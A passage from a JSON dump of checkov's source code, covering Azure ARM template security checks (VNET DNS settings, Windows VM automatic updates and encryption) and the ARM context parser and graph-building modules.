    "content": "from ipaddress import ip_network, ip_address\nfrom typing import Any, List, Dict\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass VnetLocalDNS(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"Avoid taking a dependency on external DNS servers\n                 for local communication such as those deployed on-premises.\n                Where possible consider deploying Azure Private DNS Zones,\n                 a platform-as-a-service (PaaS) DNS service for VNETs\"\"\"\n\n        name = \"Ensure that VNET uses local DNS addresses\"\n        id = \"CKV_AZURE_183\"\n        supported_resources = (\"Microsoft.Network/virtualNetworks\",)\n        categories = [CheckCategories.NETWORKING, ]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Dict[str, Dict[str, List[Any]]]]) -> CheckResult:\n        if \"properties\" in conf and \"dhcpOptions\" in conf[\"properties\"]:\n            if \"dnsServers\" in conf[\"properties\"][\"dhcpOptions\"]:\n                if isinstance(conf[\"properties\"][\"dhcpOptions\"][\"dnsServers\"], list):\n                    dns_servers = conf[\"properties\"][\"dhcpOptions\"][\"dnsServers\"]\n                    if dns_servers:\n                        for ip in dns_servers:\n                            if \"addressSpace\" in conf[\"properties\"] and conf[\"properties\"][\"addressSpace\"]:\n                                if \"addressPrefixes\" in conf[\"properties\"][\"addressSpace\"]:\n                                    if isinstance(conf[\"properties\"][\"addressSpace\"][\"addressPrefixes\"], list):\n                                        address_spaces = conf[\"properties\"][\"addressSpace\"][\"addressPrefixes\"]\n                                        if isinstance(address_spaces, list):\n                                            for address_range in address_spaces:\n                                                if not isinstance(address_range, str):\n                                                    continue\n                                                try:\n                                                    net = ip_network(address_range)\n                                                    ip_add = ip_address(ip) if isinstance(ip, str) else None\n                                                except ValueError:\n                                                    return CheckResult.UNKNOWN\n                                                if isinstance(ip, str) and ip_add in net:\n                                                    return CheckResult.PASSED\n                    self.evaluated_keys = [\"dnsServers\"]\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = VnetLocalDNS()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VnetSingleDNSServer.py",
    "content": "from typing import Any, List, Dict\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass VnetSingleDNSServer(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        \"\"\"Using a single DNS server may indicate a single point of failure\n        where the DNS IP address is not load balanced.\"\"\"\n        name = \"Ensure that VNET has at least 2 connected DNS Endpoints\"\n        id = \"CKV_AZURE_182\"\n        supported_resources = (\"Microsoft.Network/networkInterfaces\", \"Microsoft.Network/virtualNetworks\")\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Dict[str, Dict[str, List[Any]]]]) -> CheckResult:\n        if \"properties\" in conf and \"dnsSettings\" in conf[\"properties\"]:\n            if \"dnsServers\" in conf[\"properties\"][\"dnsSettings\"] and isinstance(\n                    conf[\"properties\"][\"dnsSettings\"][\"dnsServers\"], list):\n                dns_servers = conf[\"properties\"][\"dnsSettings\"][\"dnsServers\"]\n                if dns_servers and len(dns_servers) == 1:\n                    self.evaluated_keys = [\"dnsServers\"]\n                    return CheckResult.FAILED\n        else:\n            if \"properties\" in conf and \"dhcpOptions\" in conf[\"properties\"]:\n                if \"dnsServers\" in conf[\"properties\"][\"dhcpOptions\"] and isinstance(\n                        conf[\"properties\"][\"dhcpOptions\"][\"dnsServers\"], list):\n                    dns_servers = conf[\"properties\"][\"dhcpOptions\"][\"dnsServers\"]\n                    if dns_servers and len(dns_servers) == 1:\n                        self.evaluated_keys = [\"dnsServers\"]\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = VnetSingleDNSServer()\n"
  },
  {
    "path": "checkov/arm/checks/resource/WinVMAutomaticUpdates.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WinVMAutomaticUpdates(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Windows VM enables automatic updates\"\n        id = \"CKV_AZURE_177\"\n        supported_resources = (\"Microsoft.Compute/virtualMachines\", \"Microsoft.Compute/virtualMachineScaleSets\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED,)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"Microsoft.Compute/virtualMachineScaleSets\":\n            return \"properties/virtualMachineProfile/osProfile/windowsConfiguration/enableAutomaticUpdates\"\n        return \"properties/osProfile/windowsConfiguration/enableAutomaticUpdates\"\n\n\ncheck = WinVMAutomaticUpdates()\n"
  },
  {
    "path": "checkov/arm/checks/resource/WinVMEncryptionAtHost.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WinVMEncryptionAtHost(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        If enabled, all the disks (including the temp disk) attached to this Virtual Machine will be encrypted\n\n        If not enabled:\n        https://learn.microsoft.com/en-gb/azure/virtual-machines/disks-enable-host-based-encryption-portal?tabs=azure-cli#prerequisites\n\n        \"\"\"\n        name = \"Ensure Windows VM enables encryption\"\n        id = \"CKV_AZURE_151\"\n        supported_resources = (\"Microsoft.Compute/virtualMachines\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/securityProfile/encryptionAtHost\"\n\n\ncheck = WinVMEncryptionAtHost()\n"
  },
  {
    "path": "checkov/arm/checks/resource/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/arm/context_parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport operator\nimport re\nfrom functools import reduce\nfrom typing import Any, TYPE_CHECKING, Generator\n\nfrom checkov.arm.utils import ArmElements\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.util.consts import LINE_FIELD_NAMES, START_LINE, END_LINE\nfrom checkov.common.util.type_forcers import force_list\n\nif TYPE_CHECKING:\n    from checkov.common.typing import _SkippedCheck\n\nCOMMENT_REGEX = re.compile(r'([A-Z_\\d]+)(:[^\\n]+)?')\nPARAMETERS_PATTERN = re.compile(r\"\\[parameters\\('|'\\)]\")\nVARIABLES_PATTERN = re.compile(r\"\\[variables\\('|'\\)]\")\n\n\nclass ContextParser:\n    \"\"\"\n    ARM template context parser\n    \"\"\"\n\n    def __init__(self, arm_file: str, arm_template: dict[str, Any], arm_template_lines: list[tuple[int, str]]) -> None:\n        self.arm_file = arm_file\n        self.arm_template = arm_template\n        self.arm_template_lines = arm_template_lines\n\n    def evaluate_default_parameters(self) -> None:\n        # Get parameter defaults and variable values\n        parameter_defaults = {}\n        if ArmElements.PARAMETERS in self.arm_template:\n            for parameter, config in self.arm_template[ArmElements.PARAMETERS].items():\n                if parameter in LINE_FIELD_NAMES:\n                    continue\n                if \"defaultValue\" in config:\n                    parameter_defaults[parameter] = config[\"defaultValue\"]\n\n        variable_values = {}\n        if ArmElements.VARIABLES in self.arm_template:\n            for var, config in self.arm_template[ArmElements.VARIABLES].items():\n                if var in LINE_FIELD_NAMES:\n                    continue\n                variable_values[var] = config.get('value') if config.get('value') else config\n\n        # Find paths to substitute parameters and variables\n        keys_w_params = self.search_deep_values('[parameters(', self.arm_template, [])\n        keys_w_vars = self.search_deep_values('[variables(', self.arm_template, [])\n\n        # Substitute Parameters and Variables\n        for key_entry in keys_w_params:\n            try:\n                param = re.sub(\n                    PARAMETERS_PATTERN,\n                    \"\",\n                    self._get_from_dict(dict(self.arm_template), key_entry[:-1])[key_entry[-1]],  # type:ignore[index]  # this will be a str\n                )\n                if param in parameter_defaults:\n                    logging.debug(f\"Replacing parameter {param} in file {self.arm_file} with default value: {parameter_defaults[param]}\")\n                    self._set_in_dict(dict(self.arm_template), key_entry, parameter_defaults[param])\n            except TypeError:\n                logging.debug(f\"Failed to evaluate param in {self.arm_file}\", exc_info=True)\n\n        for key_entry in keys_w_vars:\n            try:\n                param = re.sub(\n                    VARIABLES_PATTERN,\n                    \"\",\n                    self._get_from_dict(dict(self.arm_template), key_entry[:-1])[key_entry[-1]],  # type:ignore[index]  # this will be a str\n                )\n                if param in variable_values.keys():\n                    self._set_in_dict(dict(self.arm_template), key_entry, variable_values[param])\n                    logging.debug(\n                        \"Replacing variable {} in file {} with default value: {}\".format(param, self.arm_file,\n                                                                                         variable_values[param]))\n                else:\n                    logging.debug(\"Variable {} not found in evaluated variables in file {}\".format(param, self.arm_file))\n            except TypeError:\n                logging.debug(f\"Failed to evaluate param in {self.arm_file}\", exc_info=True)\n\n    @staticmethod\n    def extract_arm_resource_id(arm_resource: dict[str, Any]) -> str | None:\n        # if arm_resource_name == '__startline__' or arm_resource_name == '__endline__':\n        #    return\n        if 'type' not in arm_resource:\n            # This is not an ARM resource, skip\n            return None\n        if 'name' not in arm_resource:\n            # This is not an ARM resource, skip\n            return None\n        return f\"{arm_resource['type']}.{arm_resource['name']}\"\n\n    @staticmethod\n    def extract_arm_resource_name(arm_resource: dict[str, Any]) -> str | None:\n        # if arm_resource_name == '__startline__' or arm_resource_name == '__endline__':\n        #    return\n        if 'name' not in arm_resource:\n            # This is not an ARM resource, skip\n            return None\n        return f\"{arm_resource['name']}\"\n\n    def extract_arm_resource_code_lines(\n        self, arm_resource: dict[str, Any]\n    ) -> tuple[list[int], list[tuple[int, str]]] | tuple[None, None]:\n        find_lines_result_list = list(self.find_lines(arm_resource, START_LINE))\n        if len(find_lines_result_list) >= 1:\n            start_line = min(find_lines_result_list)\n            end_line = max(list(self.find_lines(arm_resource, END_LINE)))\n\n            entity_lines_range = [start_line, end_line]\n\n            entity_code_lines = self.arm_template_lines[start_line - 1: end_line]\n            return entity_lines_range, entity_code_lines\n        return None, None\n\n    @staticmethod\n    def find_lines(node: dict[str, Any] | list[dict[str, Any]], kv: str) -> Generator[Any, None, None]:\n        if isinstance(node, list):\n            for i in node:\n                for x in ContextParser.find_lines(i, kv):\n                    yield x\n        elif isinstance(node, dict):\n            if kv in node:\n                yield node[kv]\n            for j in node.values():\n                for x in ContextParser.find_lines(j, kv):\n                    yield x\n\n    @staticmethod\n    def collect_skip_comments(resource: dict[str, Any]) -> list[_SkippedCheck]:\n        skipped_checks = []\n        bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping\n        if \"metadata\" in resource:\n            if \"checkov\" in resource[\"metadata\"]:\n                for item in force_list(resource[\"metadata\"][\"checkov\"]):\n                    skip_search = re.search(COMMENT_REGEX, str(item))\n                    if skip_search:\n                        skipped_check: \"_SkippedCheck\" = {\n                            'id': skip_search.group(1),\n                            'suppress_comment': skip_search.group(2)[1:] if skip_search.group(\n                                2) else \"No comment provided\"\n                        }\n                        if bc_id_mapping and skipped_check[\"id\"] in bc_id_mapping:\n                            skipped_check[\"bc_id\"] = skipped_check[\"id\"]\n                            skipped_check[\"id\"] = bc_id_mapping[skipped_check[\"id\"]]\n                        elif metadata_integration.check_metadata:\n                            skipped_check[\"bc_id\"] = metadata_integration.get_bc_id(skipped_check[\"id\"])\n\n                        skipped_checks.append(skipped_check)\n\n        return skipped_checks\n\n    @staticmethod\n    def search_deep_keys(search_text: str, arm_dict: dict[str, Any], path: list[str | int]) -> list[list[Any]]:\n        \"\"\"Search deep for keys and get their values\"\"\"\n        keys = []\n        if isinstance(arm_dict, dict):\n            for key in arm_dict:\n                pathprop = path[:]\n                pathprop.append(key)\n                if key == search_text:\n                    pathprop.append(arm_dict[key])\n                    keys.append(pathprop)\n                    # pop the last element off for nesting of found elements for\n                    # dict and list checks\n                    pathprop = pathprop[:-1]\n                if isinstance(arm_dict[key], dict):\n                    keys.extend(ContextParser.search_deep_keys(search_text, arm_dict[key], pathprop))\n                elif isinstance(arm_dict[key], list):\n                    for index, item in enumerate(arm_dict[key]):\n                        pathproparr = pathprop[:]\n                        pathproparr.append(index)\n                        keys.extend(ContextParser.search_deep_keys(search_text, item, pathproparr))\n        elif isinstance(arm_dict, list):\n            for index, item in enumerate(arm_dict):\n                pathprop = path[:]\n                pathprop.append(index)\n                keys.extend(ContextParser.search_deep_keys(search_text, item, pathprop))\n\n        return keys\n\n    @staticmethod\n    def search_deep_values(search_text: str, arm_dict: dict[str, Any], path: list[str | int]) -> list[list[str | int]]:\n        \"\"\"Search deep for keys with values matching search text\"\"\"\n        keys: \"list[list[str | int]]\" = []\n        if isinstance(arm_dict, dict):\n            for key in arm_dict:\n                pathprop = path[:]\n                pathprop.append(key)\n\n                if search_text in str(arm_dict[key]):\n                    pathprop.append(arm_dict[key])\n                    keys.append(pathprop)\n                    # pop the last element off for nesting of found elements for\n                    # dict and list checks\n                    pathprop = pathprop[:-1]\n                if isinstance(arm_dict[key], dict):\n                    keys.extend(ContextParser.search_deep_values(search_text, arm_dict[key], pathprop))\n                elif isinstance(arm_dict[key], list):\n                    for index, item in enumerate(arm_dict[key]):\n                        pathproparr = pathprop[:]\n                        pathproparr.append(index)\n                        keys.extend(ContextParser.search_deep_values(search_text, item, pathproparr))\n        elif isinstance(arm_dict, list):\n            for index, item in enumerate(arm_dict):\n                pathprop = path[:]\n                pathprop.append(index)\n                keys.extend(ContextParser.search_deep_values(search_text, item, pathprop))\n\n        for inner_keys in keys[:]:\n            for i in inner_keys:\n                if isinstance(i, list) or isinstance(i, dict):\n                    keys.remove(inner_keys)\n\n            # Remove parameter\n            if search_text in inner_keys[-1]:  # type:ignore[operator]  # this will be a str\n                inner_keys.pop()\n\n        return keys\n\n    def _set_in_dict(self, data_dict: dict[str, Any], map_list: list[str | int], value: Any) -> None:\n        self._get_from_dict(data_dict, map_list[:-1])[map_list[-1]] = value  # type:ignore[index]  # this will be a str\n\n    @staticmethod\n    def _get_from_dict(data_dict: dict[str, Any], map_list: list[str | int]) -> dict[str, Any]:\n        return reduce(operator.getitem, map_list, data_dict)  # type:ignore[arg-type]  # this works, because of a deeper dict access\n"
  },
  {
    "path": "checkov/arm/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/arm/graph_builder/definition_context.py",
    "content": "from __future__ import annotations\n\nfrom typing import cast, Dict, Any\n\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.suppression import collect_suppressions_for_report\n\n\nARM_COMMENT = \"//\"\nDEFINITIONS_KEYS = [\"parameters\", \"resources\"]\n\n\ndef build_definitions_context(definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[tuple[int, str]]]\n                              ) -> Dict[str, Dict[str, Any]]:\n    definitions_context: Dict[str, Dict[str, Any]] = {}\n    for file_path_object, file_path_definitions in definitions.items():\n        file_path = str(file_path_object)\n        definitions_context[file_path] = {}\n        for definition_attribute, resources in file_path_definitions.items():\n            if definition_attribute not in DEFINITIONS_KEYS:\n                continue\n            definitions_context[file_path][definition_attribute] = {}\n            if isinstance(resources, dict):\n                for resource_key, resource_attributes in resources.items():\n                    if isinstance(resource_attributes, dict):\n                        add_resource_to_definitions_context(definitions_context, resource_key, resource_attributes,\n                                                            definition_attribute, definitions_raw, file_path)\n            elif isinstance(resources, list):\n                for resource in resources:\n                    if isinstance(resource, dict):\n                        add_resource_to_definitions_context(definitions_context, '', resource,\n                                                            definition_attribute, definitions_raw, file_path)\n    return definitions_context\n\n\ndef add_resource_to_definitions_context(definitions_context: dict[str, dict[str, Any]], resource_key: str,\n                                        resource_attributes: dict[str, Any], definition_attribute: str,\n                                        definitions_raw: dict[str, Any], file_path: str) -> None:\n    start_line = resource_attributes[START_LINE]\n    end_line = resource_attributes[END_LINE]\n    definition_resource = {\"start_line\": start_line, \"end_line\": end_line}\n\n    if definition_attribute == \"resources\":\n        resource_key = f\"{resource_attributes.get('type')}.{resource_attributes.get('name')}\"\n        int_start_line = cast(int, definition_resource[\"start_line\"])\n        int_end_line = cast(int, definition_resource[\"end_line\"])\n        code_lines_for_suppressions_check = definitions_raw[file_path][int_start_line: int_end_line]\n        definition_resource['skipped_checks'] = collect_suppressions_for_report(\n            code_lines=code_lines_for_suppressions_check)\n    else:\n        definition_resource[\"type\"] = resource_attributes.get('type')\n\n    definition_resource[\"code_lines\"] = definitions_raw[file_path][start_line - 1: end_line]\n    definitions_context[file_path][definition_attribute][resource_key] = definition_resource\n"
  },
  {
    "path": "checkov/arm/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/arm/graph_builder/graph_components/block_types.py",
    "content": "from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom typing import Literal\n\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType\n\n\n@dataclass\nclass BlockType(CommonBlockType):\n    PARAMETER: Literal[\"parameters\"] = \"parameters\"\n    VARIABLE: Literal[\"variables\"] = \"variables\"\n    OUTPUT: Literal[\"outputs\"] = \"outputs\"\n"
  },
  {
    "path": "checkov/arm/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\n\n\nclass ArmBlock(Block):\n    def __init__(\n        self,\n        name: str,\n        config: dict[str, Any],\n        path: str,\n        block_type: str,\n        attributes: dict[str, Any],\n        id: str = \"\",\n    ) -> None:\n        super().__init__(name, config, path, block_type, attributes, id, GraphSource.ARM)\n\n    def should_run_get_inner_attributes(self, attribute_value: Any) -> bool:\n        \"\"\"\n        this function is triggered from _extract_inner_attributes to check whether we need to run the get_inner_attributes function.\n        for ARM we want to get the inner_attributes also from list[str] and only for list[dict] like the rest of the frameworks,\n        specific for the 'dependsOn' attribute in a resource\n        \"\"\"\n        return isinstance(attribute_value, dict) or (isinstance(attribute_value, list) and len(attribute_value) > 0)\n"
  },
  {
    "path": "checkov/arm/graph_builder/graph_to_definitions.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.arm.graph_builder.graph_components.block_types import BlockType\nfrom checkov.arm.utils import ArmElements\n\nif TYPE_CHECKING:\n    from checkov.arm.graph_builder.graph_components.blocks import ArmBlock\n\n\ndef convert_graph_vertices_to_definitions(vertices: list[ArmBlock], root_folder: str | Path | None)\\\n        -> tuple[dict[str, dict[str, Any]], dict[str, dict[str, Any]]]:\n    arm_definitions: dict[str, dict[str, Any]] = {}\n    breadcrumbs: dict[str, dict[str, Any]] = {}\n    for vertex in vertices:\n        block_path = vertex.path\n        if vertex.block_type == BlockType.RESOURCE:\n            arm_definitions.setdefault(block_path, {}).setdefault(ArmElements.RESOURCES, []).append(vertex.config)\n        else:\n            element_name = vertex.name.split('/')[-1]\n            arm_definitions.setdefault(block_path, {}).setdefault(vertex.block_type, {})[element_name] = vertex.config\n\n        if vertex.breadcrumbs:\n            relative_block_path = f\"/{os.path.relpath(block_path, root_folder)}\"\n            add_breadcrumbs(vertex, breadcrumbs, relative_block_path)\n    return arm_definitions, breadcrumbs\n\n\ndef add_breadcrumbs(vertex: ArmBlock, breadcrumbs: dict[str, dict[str, Any]], relative_block_path: str) -> None:\n    breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex.breadcrumbs\n"
  },
  {
    "path": "checkov/arm/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport re\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.arm.graph_builder.graph_components.blocks import ArmBlock\nfrom checkov.arm.utils import ArmElements, extract_resource_name_from_resource_id_func, \\\n    extract_resource_name_from_reference_func\nfrom checkov.arm.graph_builder.variable_rendering.renderer import ArmVariableRenderer\nfrom checkov.arm.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder import CustomAttributes, Edge\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\nfrom checkov.common.graph.graph_builder.utils import filter_sub_keys, adjust_value\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.type_forcers import force_int\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.local_graph import Block\n\nDEPENDS_ON_FIELD = 'dependsOn'\nRESOURCE_ID_FUNC = 'resourceId('\nREFERENCE_FUNC = 'reference('\nPARAMETER_FUNC = 'parameters('\nVARIABLE_FUNC = 'variables('\n\n\nclass ArmLocalGraph(LocalGraph[ArmBlock]):\n    def __init__(self, definitions: dict[str, dict[str, Any]]) -> None:\n        super().__init__()\n        self.vertices: list[ArmBlock] = []\n        self.definitions = definitions\n        self.vertices_by_path_and_id: dict[tuple[str, str], int] = {}\n        self.vertices_by_name: dict[str, int] = {}\n\n    def build_graph(self, render_variables: bool = True) -> None:\n        self._create_vertices()\n        logging.debug(f\"[ArmLocalGraph] created {len(self.vertices)} vertices\")\n\n        '''\n            In order to resolve the resources names for the dependencies we need to render the variables first\n            Examples: https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/resource-dependency\n        '''\n\n        self._create_vars_and_parameters_edges()\n        if render_variables:\n            renderer = ArmVariableRenderer(self)\n            renderer.render_variables_from_local_graph()\n            self._update_resource_vertices_names()\n\n        self._create_edges()\n        logging.debug(f\"[ArmLocalGraph] created {len(self.edges)} edges\")\n\n    def _create_vertices(self) -> None:\n        for file_path, definition in self.definitions.items():\n            self._create_parameter_vertices(file_path=file_path, parameters=definition.get(ArmElements.PARAMETERS))\n            self._create_resource_vertices(file_path=file_path, resources=definition.get(ArmElements.RESOURCES))\n            self._create_variables_vertices(file_path=file_path, variables=definition.get(ArmElements.VARIABLES))\n\n        for i, vertex in enumerate(self.vertices):\n            self.vertices_by_block_type[vertex.block_type].append(i)\n            self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)\n            self.vertices_by_path_and_id[(vertex.path, vertex.id)] = i\n            self.vertices_by_name[vertex.name] = i\n\n            self.in_edges[i] = []\n            self.out_edges[i] = []\n\n    def _create_variables_vertices(self, file_path: str, variables: dict[str, dict[str, Any]] | None) -> None:\n        if not variables:\n            return\n\n        for name, conf in variables.items():\n            if name in [START_LINE, END_LINE]:\n                continue\n            if not isinstance(conf, dict) or \"value\" not in conf:\n                full_conf = {\"value\": pickle_deepcopy(conf)}\n            else:\n                full_conf = conf\n            config = pickle_deepcopy(full_conf)\n            attributes = pickle_deepcopy(full_conf)\n\n            self.vertices.append(\n                ArmBlock(\n                    name=f\"{file_path}/{name}\",\n                    config=config,\n                    path=file_path,\n                    block_type=BlockType.VARIABLE,\n                    attributes=attributes,\n                    id=f\"{ArmElements.VARIABLES}.{name}\",\n                )\n            )\n\n    def _create_parameter_vertices(self, file_path: str, parameters: dict[str, dict[str, Any]] | None) -> None:\n        if not parameters:\n            return\n\n        for name, config in parameters.items():\n            if name in (START_LINE, END_LINE):\n                continue\n            if not isinstance(config, dict):\n                logging.warning(f\"[ArmLocalGraph] parameter {name} has wrong type {type(config)}\")\n                continue\n\n            attributes = pickle_deepcopy(config)\n\n            self.vertices.append(\n                ArmBlock(\n                    name=f\"{file_path}/{name}\",\n                    config=config,\n                    path=file_path,\n                    block_type=BlockType.PARAMETER,\n                    attributes=attributes,\n                    id=f\"{ArmElements.PARAMETERS}.{name}\",\n                )\n            )\n\n    def _create_resource_vertices(self, file_path: str, resources: list[dict[str, Any]] | None) -> None:\n        if not resources:\n            return\n\n        for config in resources:\n            if \"type\" not in config:\n                # this can't be a real ARM resource without a \"type\" field\n                return\n\n            resource_name = config.get(\"name\") or \"unknown\"\n            resource_type = config[\"type\"]\n\n            attributes = pickle_deepcopy(config)\n            attributes[CustomAttributes.RESOURCE_TYPE] = resource_type\n\n            self.vertices.append(\n                ArmBlock(\n                    name=resource_name,\n                    config=config,\n                    path=file_path,\n                    block_type=BlockType.RESOURCE,\n                    attributes=attributes,\n                    id=f\"{resource_type}.{resource_name}\"\n                )\n            )\n\n    def _create_edges(self) -> None:\n        for origin_vertex_index, vertex in enumerate(self.vertices):\n            if DEPENDS_ON_FIELD in vertex.attributes:\n                self._create_explicit_edge(origin_vertex_index, vertex.name, vertex.attributes['dependsOn'])\n            self._create_implicit_edges(origin_vertex_index, vertex.name, vertex.attributes)\n\n    def _create_explicit_edge(self, origin_vertex_index: int, resource_name: str, deps: list[str]) -> None:\n        for dep in deps:\n            if RESOURCE_ID_FUNC in dep:\n                processed_dep = extract_resource_name_from_resource_id_func(dep)\n            else:\n                processed_dep = dep.split('/')[-1]\n            # Check if the processed dependency exists in the map\n            if processed_dep in self.vertices_by_name:\n                self._create_edge(processed_dep, origin_vertex_index, f'{resource_name}->{processed_dep}')\n            else:\n                # Dependency not found\n                logging.warning(f\"[ArmLocalGraph] resource dependency {processed_dep} defined in {dep} for resource\"\n                                f\" {resource_name} not found\")\n                continue\n\n    def _create_vars_and_parameters_edges(self) -> None:\n        pattern = r\"(variables|parameters)\\('(\\w+)'\\)\"\n        for origin_vertex_index, vertex in enumerate(self.vertices):\n            for attr_key, attr_value in vertex.attributes.items():\n                if not isinstance(attr_value, str):\n                    continue\n                if ArmElements.VARIABLES in attr_value or ArmElements.PARAMETERS in attr_value:\n                    matches = re.findall(pattern, attr_value)\n                    for match in matches:\n                        var_name = match[1]\n                        self._create_edge(f\"{vertex.path}/{var_name}\", origin_vertex_index, attr_key)\n\n    def _create_edge(self, element_name: str, origin_vertex_index: int, label: str) -> None:\n        dest_vertex_index = self.vertices_by_name.get(element_name)\n        if origin_vertex_index == dest_vertex_index or dest_vertex_index is None:\n            return\n        edge = Edge(origin_vertex_index, dest_vertex_index, label)\n        self.edges.append(edge)\n        self.out_edges[origin_vertex_index].append(edge)\n        self.in_edges[dest_vertex_index].append(edge)\n\n    def _create_implicit_edges(self, origin_vertex_index: int, resource_name: str, resource: dict[str, Any]) -> None:\n        for value in resource.values():\n            if isinstance(value, str):\n                if REFERENCE_FUNC in value:\n                    self._create_implicit_edge(origin_vertex_index, resource_name, value)\n\n    def _create_implicit_edge(self, origin_vertex_index: int, resource_name: str, reference_string: str) -> None:\n        dep_name = extract_resource_name_from_reference_func(reference_string)\n        self._create_edge(dep_name, origin_vertex_index, f'{resource_name}->{dep_name}')\n\n    def _update_resource_vertices_names(self) -> None:\n        for i, vertex in enumerate(self.vertices):\n            if ((vertex.block_type != BlockType.RESOURCE or 'name' not in vertex.config or vertex.name == vertex.config['name'])\n                    or not isinstance(vertex.config['name'], str)):\n                continue\n\n            if PARAMETER_FUNC in vertex.name or VARIABLE_FUNC in vertex.name:\n                if vertex.name in self.vertices_by_name:\n                    del self.vertices_by_name[vertex.name]\n\n                vertex.name = vertex.config['name']\n                self.vertices_by_name[vertex.name] = i\n\n    def update_vertices_configs(self) -> None:\n        for vertex in self.vertices:\n            changed_attributes = list(vertex.changed_attributes.keys())\n            changed_attributes = filter_sub_keys(changed_attributes)\n            self.update_vertex_config(vertex, changed_attributes)\n\n    @staticmethod\n    def update_vertex_config(vertex: Block, changed_attributes: list[str] | dict[str, Any],\n                             dynamic_blocks: bool = False) -> None:\n        if not changed_attributes:\n            # skip, if there is no change\n            return\n\n        for attr in changed_attributes:\n            new_value = vertex.attributes.get(attr, None)\n            if vertex.block_type == BlockType.RESOURCE:\n                ArmLocalGraph.update_config_attribute(\n                    config=vertex.config, key_to_update=attr, new_value=new_value\n                )\n\n    @staticmethod\n    def update_config_attribute(config: list[Any] | dict[str, Any], key_to_update: str, new_value: Any) -> None:\n        key_parts = key_to_update.split(\".\")\n\n        if isinstance(config, dict):\n            key = key_parts[0]\n            if len(key_parts) == 1:\n                ArmLocalGraph.update_config_value(config=config, key=key, new_value=new_value)\n                return\n            else:\n                key, key_parts = ArmLocalGraph.adjust_key(config, key, key_parts)\n                if len(key_parts) == 1:\n                    ArmLocalGraph.update_config_value(config=config, key=key, new_value=new_value)\n                    return\n\n                ArmLocalGraph.update_config_attribute(config[key], \".\".join(key_parts[1:]), new_value)\n        elif isinstance(config, list):\n            key_idx = force_int(key_parts[0])\n            if key_idx is None:\n                return\n\n            if len(key_parts) == 1:\n                ArmLocalGraph.update_config_value(config=config, key=key_idx, new_value=new_value)\n                return\n            else:\n                ArmLocalGraph.update_config_attribute(config[key_idx], \".\".join(key_parts[1:]), new_value)\n\n        return\n\n    @staticmethod\n    def update_config_value(config: list[Any] | dict[str, Any], key: int | str, new_value: Any) -> None:\n        new_value = adjust_value(config[key], new_value)  # type:ignore[index]\n        if new_value is None:\n            # couldn't find key in in value object\n            return\n\n        config[key] = new_value  # type:ignore[index]\n\n    @staticmethod\n    def adjust_key(config: dict[str, Any], key: str, key_parts: list[str]) -> tuple[str, list[str]]:\n        \"\"\"Adjusts the key, if it consists of multiple dots\n\n        Ex:\n        config = {\"'container.registry'\": \"acrName\"}\n        key = \"'container\"\n        key_parts = [\"'container\", \"registry'\"]\n\n        returns new_key = \"'container.registry'\"\n                new_key_parts = [\"'container.registry'\"]\n        \"\"\"\n\n        if key not in config:\n            if len(key_parts) >= 2:\n                new_key = \".\".join(key_parts[:2])\n                new_key_parts = [new_key] + key_parts[2:]\n\n                return ArmLocalGraph.adjust_key(config, new_key, new_key_parts)\n\n        return key, key_parts\n\n    def get_resources_types_in_graph(self) -> list[str]:\n        # not used\n        return []\n"
  },
  {
